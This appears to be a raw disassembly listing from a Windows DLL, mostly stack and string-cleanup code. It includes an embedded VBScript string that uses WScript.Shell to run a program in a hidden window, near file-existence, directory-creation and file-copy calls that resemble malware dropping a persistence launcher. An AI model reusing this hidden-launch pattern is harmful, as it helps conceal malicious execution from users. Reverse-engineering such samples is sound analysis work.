lea rcx, [rsp + 0x170]
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x80], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x70], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x2d0]
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x58], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x2d0]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x38], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x170]
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x310]
call fcn.180054aa0
nop
lea rcx, [rsp + 0xc0]
call fcn.180006480
nop
lea rcx, [rsp + 0xa0]
call fcn.180006480
nop
lea rcx, [rsp + 0xf0]
call fcn.180006480
lea rax, str.Set_WshShell__CreateObject__WScript.Shell___r_nWshShell.Run_Chr_34_______Chr_34___0_r_nSet_WshShell__Nothing
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], Ordinal_113
lea r8, [rsp + 0x330]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x2f0]
call fcn.180029110
nop
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x2b0]
call fcn.180005370
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x570]
call fcn.1800ba330
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x570]
call fcn.180028370
nop
cmp qword [rsp + 0x5f8], 0
je 0x18005131b
lea rcx, [rsp + 0x2b0]
call fcn.180006640
mov r8, qword [rsp + 0x2c0]
mov rdx, rax
lea rcx, [rsp + 0x570]
call fcn.1800283c0
lea rcx, [rsp + 0x570]
call fcn.1800282d0
lea rdx, [rsp + 0x1b0]
call fcn.1800547f0
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x290]
call fcn.180005370
nop
lea rcx, [rsp + 0x460]
call fcn.180027630
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0x460]
call fcn.180028370
nop
cmp qword [rsp + 0x4e8], 0
je 0x180051391
lea rcx, [rsp + 0x290]
call fcn.180006640
mov r8, qword [rsp + 0x2a0]
mov rdx, rax
lea rcx, [rsp + 0x460]
call fcn.1800283c0
lea rcx, [rsp + 0x460]
call fcn.1800282d0
lea r8, [rsp + 0x230]
mov rdx, r14
mov rcx, r15
call fcn.180053cf0
lea rdx, [r15 + 0x80]
lea rcx, [rsp + 0x270]
call fcn.180005370
nop
lea rcx, [rsp + 0x350]
call fcn.180027630
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x350]
call fcn.180028370
nop
cmp qword [rsp + 0x3d8], 0
je 0x18005141a
lea rcx, [rsp + 0x270]
call fcn.180006640
mov r8, qword [rsp + 0x280]
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.1800283c0
lea rcx, [rsp + 0x350]
call fcn.1800282d0
nop
lea rcx, [rsp + 0x350]
call fcn.180027590
nop
lea rcx, [rsp + 0x270]
call fcn.180006670
nop
lea rcx, [rsp + 0x460]
call fcn.180027590
nop
lea rcx, [rsp + 0x290]
call fcn.180006670
nop
lea rcx, [rsp + 0x570]
call fcn.180027590
nop
lea rcx, [rsp + 0x2b0]
call fcn.180006670
nop
lea rcx, [rsp + 0x2f0]
call fcn.180006480
nop
lea rcx, [rsp + 0x310]
call fcn.180006480
nop
lea rcx, [rsp + 0x170]
call fcn.180006480
nop
lea rcx, [rsp + 0x330]
call fcn.180006480
nop
lea rcx, [rsp + 0x2d0]
call fcn.180006480
nop
mov rdx, qword [rsp + 0x208]
cmp rdx, 7
jbe 0x1800514fc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800514f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051901
call fcn.18008ab40
movdqu xmmword [rsp + 0x200], xmm6
mov word [rsp + 0x1f0], bx
mov rdx, qword [rsp + 0x228]
cmp rdx, 7
jbe 0x180051556
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051550
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051907
call fcn.18008ab40
nop
jmp 0x180051562
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x1800515aa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800515a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005190d
call fcn.18008ab40
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x18005160e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051609
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051913
call fcn.18008ab40
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x180051667
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051662
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051919
call fcn.18008ab40
movdqu xmmword [rsp + 0x240], xmm6
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 7
jbe 0x1800516c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800516bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005191f
call fcn.18008ab40
mov qword [rsp + 0x1c0], rbx
mov qword [rsp + 0x1c8], 7
mov word [rsp + 0x1b0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x180051724
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18005171f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180051925
call fcn.18008ab40
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x168]
cmp rdx, 7
jbe 0x180051788
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180051783
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005192b
call fcn.18008ab40
mov qword [rsp + 0x160], rbx
mov qword [rsp + 0x168], 7
mov word [rsp + 0x150], bx
lea rcx, [rsp + 0x130]
call fcn.180006480
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.18008ab20
mov rbx, qword [rsp + 0x6e0]
movaps xmm6, xmmword [rsp + 0x690]
add rsp, 0x6a0
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180024050
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
int3
call fcn.180099e04
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180024050
nop
call fcn.180099e04
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180024050
nop
shr rdx, 0x20
lea r8, [rsp + 0x110]
lea rcx, str.create_directory
call fcn.18002bfa0
nop
call fcn.180099e04
int3
call fcn.180099e04
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180024050
nop
shr rdx, 0x20
lea r9, [rsp + 0xa0]
lea r8, [rsp + 0x110]
lea rcx, str.copy_file
call fcn.18004e650
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
nop
call fcn.180099e04
int3